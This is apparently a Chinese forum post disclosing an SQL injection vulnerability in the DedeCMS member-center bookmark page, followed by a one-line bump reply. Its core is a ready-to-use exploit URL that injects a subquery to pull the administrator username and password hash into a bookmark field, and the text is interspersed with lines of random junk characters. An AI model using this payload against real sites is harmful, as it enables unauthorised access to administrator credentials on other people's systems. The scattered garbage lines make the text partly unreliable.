DedeCMS会员中心书签管理SQL注射漏洞

admin

DedeCMS会员中心SQL注射漏洞
需要magic_quotes_gpc = Off
会员登录后可以执行SQL语句查询数据库任意内容如管理员密码.
3 C( K' }, Q1 H$ Q6 Y% h
, P0 X& Y8 C" i! c" TDedeCMS会员中心书签管理SQL注射漏洞
2 N: I. y3 z  r/ Z' Y4 i1 d成功利用该漏洞可获得管理员密码
# U) {; I% M1 d. x6 J8 O
9 d( F( l4 ~4 z8 n. M会员登录后可以执行SQL语句查询数据库任意内容如管理员密码
" |7 S$ o* @+ P6 A3 S
http://bt/member/flink_main.php?dopost=update&aid=1&title=c4rp3nt3r&url=http://www.0x50sec.org',title=@`'`,url=(select concat(userid,0x3a,pwd) from `%23@__admin` limit 1),title='c4rp3nt3r
0 ~. x. d9 l5 X6 L

kook

#89 顶起。